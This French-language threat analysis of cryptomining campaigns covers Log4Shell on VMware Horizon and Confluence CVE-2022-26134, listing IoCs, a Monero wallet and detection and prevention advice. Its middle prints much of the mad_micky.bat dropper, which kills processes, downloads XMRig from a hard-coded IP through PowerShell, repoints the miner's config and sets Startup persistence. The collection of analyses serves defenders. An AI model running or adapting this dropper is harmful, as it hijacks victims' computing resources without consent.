demining/log4j-vulnerabilityAnalyse pédagogique de la vulnérabilité Log4Shell (CVE-2021-44228), détaillant son exploitation dans une campagne de minage de cryptomonnaie avec des IoCs, la cartographie MITRE ATT&CK, et des conseils de détection.
L'équipe de sécurité d'Alibaba Cloud a divulgué publiquement une vulnérabilité critique (CVE-2021-44228) permettant une exécution de code à distance non authentifiée contre plusieurs versions d'Apache Log4j2 (Log4Shell). Les serveurs vulnérables peuvent être exploités par des attaquants se connectant via tout protocole tel que HTTPS et envoyant une chaîne spécialement conçue.
Darktrace a détecté du minage de crypto-monnaie sur plusieurs déploiements clients résultant de l'exploitation de cette vulnérabilité Log4j. Dans chacun de ces incidents, l'exploitation s'est produite via des connexions SSL sortantes qui semblaient être des demandes de scripts PowerShell encodés en base64 pour contourner les défenses périmétriques et télécharger des fichiers de script batch (.bat) et plusieurs exécutables installant des logiciels malveillants de minage. L'activité présentait des indicateurs de campagne plus larges, notamment des IP codées en dur, des fichiers exécutables et des scripts communs.
Le cycle d'attaque commence par ce qui semble être un balayage opportuniste d'appareils connectés à Internet à la recherche de serveurs VMWare Horizons vulnérables à l'exploit Log4j. Une fois un serveur vulnérable trouvé, l'attaquant établit des connexions HTTP et SSL vers la victime. Après une exploitation réussie, le serveur effectue un rappel sur le port 1389, récupérant un script nommé mad_micky.bat. Cela permet d'obtenir les résultats suivants :
Dans au moins deux cas, le script mad_micky.bat a été récupéré lors d'une connexion HTTP avec l'agent utilisateur Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). C'était la première et unique fois que cet agent utilisateur était vu sur ces réseaux. Il semble que cet agent utilisateur soit utilisé légitimement par certains appareils ASUS avec des installations neuves d'usine ; cependant, en tant que nouvel agent utilisateur vu uniquement lors de cette activité, il est suspect.
Après une exploitation réussie, le serveur effectue un rappel sur le port 1389 pour récupérer des fichiers de script. Dans cet exemple, /xms.ps1 est un script PowerShell encodé en base64 qui contourne la stratégie d'exécution sur l'hôte pour appeler ‘mad_micky.bat’ :
Figure 1 : Informations supplémentaires sur le script PowerShell xms.ps1
L'instantané détaille le journal des événements pour un serveur affecté et indique une RCE Log4j réussie qui a entraîné le téléchargement du fichier mad_micky.bat :
Figure 2 : Données de journal mettant en évidence le fichier mad_micky.bat
Des connexions supplémentaires ont été initiées pour récupérer des fichiers exécutables et des scripts. Les scripts contenaient deux adresses IP situées en Corée et en Ukraine. Une connexion a été établie avec l'IP ukrainienne pour télécharger le fichier exécutable xm.exe, qui active le mineur. Le mineur, XMRig Miner (dans ce cas), est un outil de minage open source multiplateforme disponible en téléchargement à partir de plusieurs emplacements publics. Le prochain téléchargement d'exe observé était pour ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).
Figure 3 : Informations supplémentaires concernant l'exécutable XMRig
La connexion à l'IP coréenne impliquait une demande d'un autre script (/2.ps1) ainsi que d'un fichier exécutable (LogBack.exe). Ce script supprime les tâches en cours associées à la journalisation, y compris le filtre de journal d'événements SCM ou le consommateur de journal d'événements PowerShell. Le script demande également un fichier depuis Pastebin, qui est probablement un fichier de configuration de beacon Cobalt Strike. Les suppressions de journaux ont été effectuées via des tâches planifiées et WMI, incluant : Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.
Le deuxième fichier demandé depuis Pastebin, bien que n'étant plus hébergé par Pastebin, fait partie d'une commande schtasks, et donc probablement utilisé pour établir une persistance :
Le fichier exécutable Logback.exe est un autre outil de minage XMRig. Un fichier config.json a également été téléchargé depuis la même IP coréenne. Après cela, des commandes cmd.exe et wmic ont été utilisées pour configurer le mineur.
Ces téléchargements de fichiers et la configuration du mineur ont été suivis de connexions supplémentaires à Pastebin.
Figure 4 : Corrélation OSINT du fichier mad_micky.bat
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%za.exe’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP
if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1Les principales violations de modèles utilisées par Darktrace pour identifier cette campagne incluent les modèles axés sur les compromissions pour Protocole d'application sur port inhabituel, Connexion sortante vers un serveur rare et Balise vers une destination rare. Les modèles axés sur les fichiers pour Transfert de fichier déguisé, Plusieurs fichiers exécutables et scripts provenant d'emplacements rares et Contenu compressé provenant d'un emplacement externe rare. Le minage de crypto-monnaie est détecté sous les modèles Activité de minage de crypto-monnaie.
Les modèles associés à PowerShell inhabituel vers un agent utilisateur rare et nouveau mettent en évidence les connexions anormales sur les appareils infectés suite aux rappels Log4j.
Les clients disposant de la technologie de réponse autonome de Darktrace, Antigena, ont également eu des actions pour bloquer les fichiers et scripts entrants téléchargés et restreindre les appareils infectés au schéma de vie normal afin d'empêcher à la fois les téléchargements de fichiers malveillants initiaux et l'activité de minage en cours.
Le 31 mai, une vulnérabilité critique non corrigée, affectant toutes les versions prises en charge des serveurs Confluence et des data centers, a été signalée à Atlassian par Volexity, une société de sécurité.
Atlassian a averti ses clients de la vulnérabilité critique le 2 juin et a publié un correctif un jour plus tard. La CISA a ajouté cette vulnérabilité à sa liste des vulnérabilités connues exploitées le 3 juin.
Check Point a publié une protection dédiée pour prévenir une attaque exploitant cette vulnérabilité et conseille aux clients de corriger les systèmes affectés.
La vulnérabilité
La vulnérabilité dans Atlassian Confluence et Data Center, désignée sous le nom de CVE-2022-26134, peut conduire à une attaque d'injection d'expression de langage de navigation d'objet-graph (OGNL) non authentifiée.
Un attaquant distant non authentifié peut utiliser cette vulnérabilité pour exécuter du code arbitraire sur le serveur cible en plaçant une charge utile malveillante dans l'URI.
Figure 1 : Charge utile malveillante exploitant CVE-2022-26134.
Exploitation dans la nature
Les chercheurs de Check Point Research (CPR) ont remarqué un grand nombre de tentatives d'exploitation depuis la publication de la vulnérabilité. Au début, de nombreux attaquants potentiels ont utilisé des méthodes de balayage pour identifier les cibles vulnérables. Après quelques jours, les attaquants ont commencé à utiliser la vulnérabilité pour télécharger des logiciels malveillants sur les systèmes affectés.
Parmi les journaux d'exploitation, les chercheurs ont remarqué plusieurs charges utiles malveillantes liées à la même campagne et provenant de la même source, mais ciblant différentes plateformes : Linux et Windows.
La chaîne d'infection dépend du système d'exploitation de la victime.
Attaque ciblant le système d'exploitation Linux
L'attaquant a utilisé la vulnérabilité zero-day d'Atlassian en envoyant une requête HTTP spécialement conçue à la victime.
Figure 2 : Une requête HTTP spécialement conçue exploitant CVE-2022-26134 avec une charge utile encodée en base64.
La chaîne base64 se décode en une autre chaîne encodée en base64. Dans l'ensemble, les chercheurs ont dû décoder la chaîne plusieurs fois pour obtenir la charge utile réelle.
Figure 3 : La chaîne base64 décodée.
Ce script télécharge un fichier de script bash appelé xms depuis le serveur C&C distant vers le dossier tmp de la victime, l'exécute, puis le supprime ensuite.
Figure 4 : Partie du script malveillant xms.
Le fichier xms est un script dropper. Il désinstalle les agents en cours d'exécution de la machine de la victime et s'ajoute aux tâches cron pour conserver sa persistance après redémarrage.
De plus, un test de connectivité réseau vers a[.]oracleservice.top est effectué en permanence.
Dans le but de se propager vers d'autres machines, le script recherche des clés ssh et tente de se connecter. Il télécharge ensuite le fichier xms depuis le serveur C&C et l'exécute.
Le script télécharge un fichier exécutable elf appelé dbused dans le dossier tmp sur diverses adresses IP distantes.
Le fichier dbused est compressé via upx pour éviter une détection statique.
Le fichier elf est un mineur de cryptomonnaie qui épuise les ressources de la machine victime :
Figure 5 : Le processus dbused épuise les ressources système.
L'attaque ciblée sur le système d'exploitation Windows
L'attaquant a utilisé la vulnérabilité Atlassian pour exécuter un berceau de téléchargement PowerShell (PowerShell download cradle) afin de lancer une attaque sans fichier depuis un serveur C&C distant.
Figure 6 : Une requête HTTP forgée exploitant CVE-2022-26134 à l'aide de commandes PowerShell.
Le script lol.ps1 est injecté dans un processus mémoire PowerShell.
Le script vérifie l'architecture du processeur, en utilisant wmi pour déterminer si elle correspond à ses exigences.
Il télécharge ensuite un fichier exécutable appelé checkit2 dans le dossier tmp et l'exécute en mode caché.
Figure 7 : Le script lol.ps1.
Le processus checkit2.exe crée un processus enfant, appelé InstallUtil.exe, qui se connecte au serveur C&C. InstallUtil.exe crée à son tour un autre processus enfant, AddInProcess.exe, qui est le mineur de cryptomonnaie. Après quelques instants d'exécution sur la machine de la victime, le processus checkit2 s'arrête de lui-même.
Figure 8 : Le processus checkit2.exe s'exécutant sur le système.
Figure 9 : Le processus InstallUtil.exe s'exécutant sur le système.
Le logiciel malveillant télécharge une nouvelle copie de lui-même, avec un nouveau nom, dans le dossier du menu Démarrer.
Figure 10 : Le fichier cloud.exe téléchargé dans le dossier de démarrage.
Le mineur de cryptomonnaie s'exécute maintenant sur la machine et épuise toutes les ressources du système :
Figure 11 : Informations sur le portefeuille de cryptomonnaie.
Chaîne d'attaque
Les deux scénarios d'attaque commencent par une requête HTTP forgée initiale exploitant la vulnérabilité CVE-2022-26134. L'attaquant exécute des commandes en utilisant la fonction d'exécution Java pour télécharger une charge utile malveillante sur la machine de la victime.
La charge utile malveillante télécharge ensuite un fichier exécutable selon le système d'exploitation affecté. Les deux exécutables exécutent un mineur de cryptomonnaie pour utiliser les ressources de la victime à leur propre avantage.
Acteurs de la menace
Le domaine a[.]oracleservice.top et le portefeuille de cryptomonnaie que nous avons extrait du système sont liés à un groupe cybercriminel appelé le « gang 8220 ».
Protections Check Point :
IPS :
Atlassian Confluence Remote Code Execution (CVE-2022-26134)
Anti-Bot :
Trojan.WIN32.XMRig
IOCs :
198.251.86[.]46
51.79.175[.]139
167.114.114[.]169
146.59.198[.]38
51.255.171[.]23
a.oracleservice[.]top
d2bae17920768883ff8ac9a8516f9708967f6c6afe2aa6da0241abf8da32456e
2622f6651e6eb01fc282565ccbd72caba9844d941b9d1c6e6046f68fc873d5e0
4e48080f37debd76af54a3231ecaf3aa254a008fae1253cdccfcc36640f955d9
4b8be1d23644f8cd5ea22fa4f70ee7213d56e3d73cbe1d0cc3c8e5dfafe753e0
Portefeuille Monero :
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
Le cryptojacking est l'utilisation non autorisée des ressources de calcul d'autrui pour miner des cryptomonnaies. Les pirates cherchent à détourner tout type de système qu'ils peuvent prendre en charge — ordinateurs de bureau, serveurs, infrastructure cloud, etc. — pour miner illicitement des pièces de cryptomonnaie.
Quel que soit le mécanisme de livraison, le code de cryptojacking fonctionne généralement silencieusement en arrière-plan pendant que des victimes sans méfiance utilisent leurs systèmes normalement. Les seuls signes qu'elles pourraient remarquer sont des performances plus lentes, des ralentissements d'exécution, une surchauffe, une consommation électrique excessive ou des factures de cloud computing anormalement élevées.
Le minage de pièces est un processus légitime dans le monde des cryptomonnaies qui libère de nouvelles cryptomonnaies en circulation. Le processus fonctionne en récompensant la monnaie au premier mineur qui résout un problème computationnel complexe. Ce problème complète des blocs de transactions vérifiées qui sont ajoutés à la blockchain de la cryptomonnaie.
« Les mineurs sont essentiellement payés pour leur travail d'auditeurs. Ils effectuent le travail de vérification de la légitimité des transactions Bitcoin », détaille un récent article explicatif d'Investopedia sur le fonctionnement du minage de Bitcoin. « En plus de remplir les poches des mineurs et de soutenir l'écosystème Bitcoin, le minage sert un autre objectif vital : c'est le seul moyen de libérer de nouvelles cryptomonnaies en circulation. »
Gagner des cryptomonnaies via le minage de pièces nécessite généralement une énorme quantité de puissance de calcul et d'énergie. De plus, l'écosystème des cryptomonnaies est conçu de manière à rendre le minage plus difficile et à réduire les récompenses avec le temps et avec une concurrence accrue. Cela rend le minage légitime de cryptomonnaies extrêmement coûteux, avec des dépenses qui augmentent constamment.
Les cybercriminels réduisent les frais généraux de minage en volant simplement des ressources de calcul et d'énergie. Ils utilisent une gamme de techniques de piratage pour accéder à des systèmes qui effectueront le travail computationnel illicitement, puis ces systèmes piratés envoient les résultats à un serveur contrôlé par le pirate.
Les méthodes d'attaque ne sont limitées que par la créativité des cryptojackers, mais voici quelques-unes des plus courantes utilisées aujourd'hui.
Dans le passé, le cryptojacking était principalement une menace de malware sur les terminaux, existant comme un autre objectif lucratif pour déposer des malwares sur les ordinateurs de bureau et portables. Le malware de cryptojacking traditionnel est livré via des voies typiques comme les malwares sans fichier, les campagnes de phishing et les scripts malveillants intégrés sur les sites Web et dans les applications Web.
La façon la plus simple pour les attaquants de cryptojacking de voler des ressources est d'envoyer aux utilisateurs de terminaux un e-mail semblant légitime qui les encourage à cliquer sur un lien qui exécute un code pour placer un script de minage de cryptomonnaie sur leur ordinateur. Il s'exécute en arrière-plan et renvoie les résultats via une infrastructure de commande et contrôle (C2).
Une autre méthode consiste à injecter un script sur un site Web ou une publicité diffusée sur plusieurs sites Web. Une fois que les victimes visitent le site Web ou que la publicité infectée apparaît dans leur navigateur, le script s'exécute automatiquement. Aucun code n'est stocké sur l'ordinateur de la victime.
Ces voies restent une préoccupation légitime, bien que les criminels aient ajouté des techniques considérablement plus sophistiquées à leurs manuels de cryptojacking alors qu'ils cherchent à augmenter leurs profits, certaines de ces méthodes en évolution étant décrites ci-dessous.
Les attaquants cherchent à amplifier la rentabilité du cryptojacking en élargissant leurs horizons aux serveurs, aux appareils réseau et même aux appareils IoT. Les serveurs, par exemple, sont une cible particulièrement juteuse car ils sont généralement plus puissants qu'un ordinateur de bureau ordinaire. Ils constituent également un terrain de chasse privilégié en 2022 alors que les méchants recherchent des serveurs exposés à l'Internet public contenant des vulnérabilités comme Log4J, exploitant la faille et chargeant silencieusement un logiciel de minage de cryptomonnaie sur le système connecté aux serveurs du pirate. Souvent, les attaquants utiliseront le système initialement compromis pour déplacer leur cryptojacking latéralement vers d'autres appareils réseau.
« Nous constatons une augmentation du minage de cryptomonnaie provenant de la vulnérabilité Log4J », déclare Sally Vincent, ingénieur principal de recherche en menaces chez LogRhythm. « Les pirates pénètrent dans les réseaux et installent des malwares qui utilisent le stockage pour miner des cryptomonnaies. »
Les cybercriminels ciblent la chaîne d'approvisionnement logicielle en infiltrant des dépôts de code open-source avec des paquets et des bibliothèques malveillants contenant des scripts de cryptojacking intégrés dans leur code. Avec des développeurs téléchargeant ces paquets par millions dans le monde, ces attaques peuvent rapidement amplifier l'infrastructure de cryptojacking pour les méchants de deux manières. Les paquets malveillants peuvent être utilisés pour cibler les systèmes des développeurs — ainsi que les ressources réseau et cloud auxquelles ils se connectent — pour les utiliser directement comme ressources de minage illicite. Ou ils peuvent exploiter ces attaques pour empoisonner les logiciels que ces développeurs construisent avec des composants qui exécutent des scripts de minage de cryptomonnaie sur les machines d'un utilisateur final de l'application.
De nombreuses entreprises de cryptojacking profitent de l'évolutivité des ressources cloud en pénétrant dans l'infrastructure cloud et en exploitant un ensemble encore plus large de pools de calcul pour alimenter leur activité de minage. Une étude de l'automne dernier par l'équipe d'action en cybersécurité de Google a rapporté que 86 % des instances cloud compromises sont utilisées pour le minage de cryptomonnaie.
« Aujourd'hui, les attaquants ciblent les services cloud par tous les moyens pour miner de plus en plus de cryptomonnaies, car les services cloud peuvent leur permettre d'exécuter leurs calculs à une plus grande échelle qu'une simple machine locale, qu'ils prennent le contrôle de l'environnement cloud géré d'un utilisateur ou même qu'ils abusent des applications SaaS pour exécuter leurs calculs », a écrit Guy Arazi, chercheur principal en sécurité chez Palo Alto Networks, dans un article de blog.
L'une des méthodes courantes pour ce faire consiste à rechercher des API de conteneur exposées ou des buckets de stockage cloud non sécurisés, puis à utiliser cet accès pour commencer à charger des logiciels de minage de pièces sur des instances de conteneur ou des serveurs cloud impactés. L'attaque est généralement automatisée avec un logiciel de recherche qui cherche des serveurs accessibles à l'Internet public avec des API exposées ou un accès non authentifié possible. Les attaquants utilisent généralement des scripts pour déposer les charges utiles de mineur sur le système initial et pour chercher des moyens de se propager à travers les systèmes cloud connectés.
« La rentabilité et la facilité d'exécution du cryptojacking à grande échelle font de ce type d'attaque une cible facile », a déclaré Matt Muir, chercheur en sécurité chez Cado Security, dans un article de blog expliquant que les attaques basées sur le cloud sont particulièrement lucratives. « Cela continuera probablement tant que les utilisateurs continueront d'exposer des services tels que Docker et Redis à des réseaux non fiables. »
Selon un rapport de ReasonLabs, au cours de la dernière année, 58,4 % de tous les chevaux de Troie détectés étaient des mineurs de cryptomonnaie (cryptojacking). Par ailleurs, une autre étude de SonicWall a révélé que 2021 a été la pire année à ce jour pour les attaques de cryptojacking, la catégorie enregistrant 97,1 millions d'attaques au cours de l'année. Ces chiffres sont si élevés parce que le cryptojacking est pratiquement une machine à imprimer de l'argent pour les cybercriminels.
Lorsqu'un malfaiteur peut miner des cryptomonnaies sur un pool apparemment illimité de ressources de calcul gratuites provenant de machines victimes, l'avantage pour lui est énorme. Même avec la chute brutale de la valorisation du Bitcoin ce printemps, tombée sous le seuil de 30 000 $, les marges illicites des cryptojackers ont toujours un sens commercial car la valeur de ce qu'ils minent dépasse de loin les coûts de leur infrastructure criminelle.
Un pot de miel (honeypot) de l'équipe de recherche en sécurité de Cado Labs a découvert une attaque de cryptojacking en plusieurs étapes qui cible les points de terminaison exposés de l'API Docker Engine et les serveurs Redis, et peut se propager de manière similaire à un ver. L'attaque est perpétrée par le groupe d'attaque WatchDog, qui a été particulièrement actif fin 2021 et en 2022 avec de nombreuses campagnes de cryptojacking.
TeamTNT a été l'un des premiers groupes de piratage à déplacer fortement l'accent du cryptojacking vers les services orientés cloud. Des chercheurs de TrendMicro fin 2021 ont rapporté que ce groupe, ainsi que des rivaux comme le gang Kinsig, menaient des campagnes de cryptojacking qui installaient des mineurs dans des instances Alibaba Elastic Computing Service (ECS) et désactivaient les fonctionnalités de sécurité pour échapper à la détection.
La vulnérabilité Log4Shell a été une aubaine pour les attaquants de cryptojacking en 2022. Dans un exemple marquant, des chercheurs de Sophos ont découvert plus tôt cette année qu'une « horde » d'attaquants ciblaient les serveurs VMware Horizon pour livrer une gamme de charges utiles de cryptojacking comprenant z0Miner, le mineur JavaX et au moins deux variantes de XMRig, les bots mineurs de cryptomonnaie Jin et Mimu.
Les experts en sécurité de la chaîne d'approvisionnement logicielle chez Sonatype ont tiré la sonnette d'alarme à l'automne 2021 sur des paquets de minage de cryptomonnaie malveillants cachés dans npm, le dépôt de paquets JavaScript utilisé par les développeurs du monde entier. À l'époque, ils ont trouvé un trio de paquets, dont au moins un usurpait l'identité d'une bibliothèque légitime populaire utilisée par les développeurs appelée « ua-parser-js », qui obtient plus de 7 millions de téléchargements hebdomadaires et serait un moyen idéal d'attirer les développeurs pour télécharger accidentellement un morceau de code malveillant et l'installer dans leur logiciel.
Quelques mois après ce rapport, les chercheurs de WhiteSource (maintenant Mend) ont publié un rapport supplémentaire montrant que npm est envahi par des codes malveillants — jusqu'à 1 300 paquets malveillants incluant du cryptojacking et d'autres comportements néfastes.
L'été dernier, Bitdefender a découvert un groupe de menaces roumain qui ciblait des machines Linux avec des identifiants SSH pour déployer un malware de minage de Monero. Les outils utilisés étaient distribués selon un modèle « as-a-service ». Cet exemple était à la pointe de ce qui semble être une tendance croissante des attaques de cryptominage sur les systèmes Linux. Un rapport de VMware plus tôt cette année détaillait un ciblage croissant des environnements multi-cloud Linux, en particulier avec le logiciel de minage XMRig.
« De nombreux échantillons de cryptominage provenant de systèmes Linux ont un lien avec l'application XMRig », expliquait le rapport, qui montrait que 89% des attaques de cryptominage utilisaient des bibliothèques liées à XMRig. « Par conséquent, lorsque des bibliothèques et modules spécifiques à XMRig sont identifiés dans des binaires Linux, il s'agit probablement d'une preuve de comportement de cryptominage potentiel. »
CoinStop est une autre campagne de cryptojacking récemment découverte ciblant les fournisseurs de services cloud (CSP) asiatiques. Celle-ci s'est distinguée par ses mesures anti-forensiques et d'évasion. Celles-ci incluaient le « timestomping » pour manipuler les horodatages du système, la suppression des politiques cryptographiques système, et l'utilisation du fichier de périphérique /dev/tcp pour créer une session de shell inversé, a expliqué Muir de Cado dans un rapport sur l'attaque.
Les cryptojackers peuvent parfois aller très loin pour voler non seulement la puissance de traitement mais aussi l'énergie et les ressources réseau de l'infrastructure d'entreprise. L'année dernière, les analystes de Darktrace ont mis en lumière un exemple anonyme provenant de l'un de ses clients où ils ont découvert une ferme de cryptominage dans un entrepôt, dissimulée à l'intérieur d'un ensemble discret de boîtes en carton. À l'intérieur se trouvait une installation furtive équipée de plusieurs GPU branchés sur l'alimentation électrique du réseau de l'entreprise.
Alors qu'il a évolué en une attaque multi-vecteurs couvrant les ressources des endpoints, serveurs et cloud, la prévention du cryptojacking nécessite une stratégie de défense orchestrée et complète. Les étapes suivantes peuvent aider à empêcher le cryptojacking de se propager sur les ressources de l'entreprise.
Utiliser une protection des endpoints robuste : Le fondement de cela est l'utilisation d'une protection des endpoints et d'un anti-malware capable de détecter les cryptomineurs, ainsi que la mise à jour des filtres web et la gestion des extensions de navigateur pour minimiser le risque d'exécution de scripts basés sur le navigateur. Les organisations devraient idéalement rechercher des plateformes de protection des endpoints capables de s'étendre aux serveurs et au-delà.
Corriger et durcir les serveurs (et tout le reste). Les cryptojackers ont tendance à chercher les fruits les plus faciles à récolter discrètement – cela inclut la recherche de serveurs exposés publiquement contenant des vulnérabilités plus anciennes. Un durcissement de base des serveurs comprenant la correction des failles, la désactivation des services inutilisés et la limitation des empreintes externes peut grandement contribuer à minimiser le risque d'attaques basées sur les serveurs.
Utiliser l'analyse de composition logicielle. L'analyse de composition logicielle (SCA) offre une meilleure visibilité sur les composants utilisés dans les logiciels afin de prévenir les attaques sur la chaîne d'approvisionnement qui exploitent des scripts de minage de pièces.
Traquer les mauvaises configurations cloud. L'un des moyens les plus efficaces pour les organisations d'arrêter le cryptojacking dans le cloud est de resserrer les configurations cloud et des conteneurs. Cela signifie trouver les services cloud exposés à l'internet public sans authentification appropriée, débusquer les serveurs API exposés, et éliminer les identifiants et autres secrets stockés dans les environnements de développement et codés en dur dans les applications.
Le cryptojacking est une cyberattaque classique de type « lent et discret », conçue pour laisser un minimum de traces afin d'éviter une détection à long terme. Bien que les plateformes de protection des endpoints et les technologies de détection et de réponse des endpoints aient fait de grands progrès dans l'alerte sur les attaques de cryptojacking, les malfaiteurs sont des maîtres de l'évasion dans ce domaine, et la détection des mineurs de pièces illicites peut encore s'avérer difficile, surtout lorsque seulement quelques systèmes sont compromis. Voici quelques méthodes supplémentaires pour signaler les signes de cryptojacking.
Former votre service d'assistance à rechercher les signes de cryptominage. Parfois, la première indication sur les endpoints des utilisateurs est une augmentation des plaintes au service d'assistance concernant des performances lentes de l'ordinateur. Cela devrait être un signal d'alarme pour enquêter plus en profondeur, tout comme les appareils qui surchauffent ou une mauvaise autonomie de la batterie sur les appareils mobiles.
Déployer une solution de surveillance réseau. Les outils de surveillance réseau peuvent offrir un outil puissant pour détecter les types de trafic web et de trafic sortant C2 qui indiquent une activité de cryptojacking, quel que soit l'appareil d'où il provient.
« Si vous avez un bon filtrage du trafic sortant sur un serveur où vous surveillez les initiations de connexions sortantes, cela peut être une bonne détection pour [le malware de cryptominage] », explique Travis Farral, vice-président et RSSI chez Archaea Energy. Il prévient néanmoins que les auteurs de cryptomineurs peuvent écrire leur malware pour contourner cette méthode de détection.
Utiliser la surveillance cloud et la sécurité d'exécution des conteneurs. Des outils en évolution comme la surveillance cloud et l'analyse de la sécurité d'exécution des conteneurs peuvent offrir une visibilité supplémentaire dans les environnements cloud qui pourraient être impactés par des cryptomineurs non autorisés. Les fournisseurs de cloud intègrent ce type de visibilité dans leurs services, parfois sous forme d'options supplémentaires. Par exemple, Google Cloud a étendu son Security Command Center plus tôt cette année pour inclure ce qu'il appelle sa Virtual Machine Threat Detection (VMTD) afin de détecter les signes de cryptominage dans le cloud, parmi d'autres menaces cloud.
Mener des chasses aux menaces régulières. Étant donné que tant d'attaques de cryptojacking sont furtives et laissent peu de traces, les organisations peuvent avoir besoin de prendre des mesures plus actives comme la chasse aux menaces pour rechercher régulièrement des signes subtils de compromission et mener des investigations en conséquence.
« Les équipes de sécurité des endpoints et les SOC devraient investir du temps dans des exercices actifs et des chasses aux menaces plutôt que d'attendre qu'un événement potentiellement catastrophique se produise », déclare Vincent de LogRhythm.
Surveiller vos sites web pour détecter du code de cryptominage. Farral prévient que les cryptojackers trouvent des moyens de placer des morceaux de code JavaScript sur les serveurs web. « Le serveur lui-même n'est pas la cible, mais quiconque visite le site web [risque l'infection] », dit-il. Il recommande de surveiller régulièrement les modifications de fichiers sur le serveur web ou les modifications des pages elles-mêmes.
Après la détection d'une activité de cryptominage illicite, la réponse à une attaque de cryptojacking doit suivre les étapes standard de réponse aux incidents cybernétiques qui incluent le confinement, l'éradication, la récupération et les leçons apprises. Voici quelques conseils pour répondre à une attaque de cryptojacking :
Arrêter les scripts délivrés par le web. Pour les attaques JavaScript dans le navigateur, la solution est simple une fois le cryptominage détecté : fermer l'onglet du navigateur qui exécute le script. Le service informatique doit noter l'URL du site web source du script et mettre à jour les filtres web de l'entreprise pour le bloquer.
